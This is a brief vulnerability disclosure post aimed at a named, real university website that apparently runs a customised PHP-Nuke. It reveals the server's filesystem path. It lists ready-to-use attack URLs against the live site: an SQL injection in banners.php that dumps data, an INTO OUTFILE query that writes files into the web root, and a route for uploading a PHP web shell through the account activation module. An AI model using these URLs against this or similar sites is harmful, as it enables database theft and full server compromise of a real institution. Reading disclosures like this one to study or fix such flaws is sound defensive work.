http://www.orientamento.unisannio.it | path disclosure, xss, sql injections, shell upload, system compromise

http://www.orientamento.unisannio.it
The website uses phpnuke with some customizations (sometimes it detects that we are trying to abuse of specific bugs)

we can find the path from the Deprecated notices in various modules
/var/www/html/copus/home/copus/modules/

ex.: http://www.orientamento.unisannio.it/modules.php?name=Stories_Archive
Deprecated: Function ereg() is deprecated in /var/www/html/copus/home/copus/modules/Stories_Archive/index.php on line 25

register_globals seems to be On and the variables can be replaced by using post/get requests.

Supposed version <=PHP-Nuke-6.9 since banners.php exists

In banners.php we have

switch($op) { ... }
sample
http://www.orientamento.unisannio.it/banners.php?op=login

By using, for example, this url:
http://www.orientamento.unisannio.it/banners.php?op=Ok&login=[Sqlinjection]&pass=abc
the sql is executed and we can dump the data instead of the banners

File via sql
http://www.orientamento.unisannio.it/banners.php?op=Ok&login='%20OR%201=1%20INTO%20OUTFILE%20'/var/www/html/copus/home/copus/[anyfilename.any]

Sql injection via post. (registration is required). It's possible to upload files/phpshell with a specific query (INTO OUTFILE) and by knowing the path (see above).
http://www.orientamento.unisannio.it/modules.php?name=Your_Account&op=activate&username=[existentaccountname]


There are several other common problems.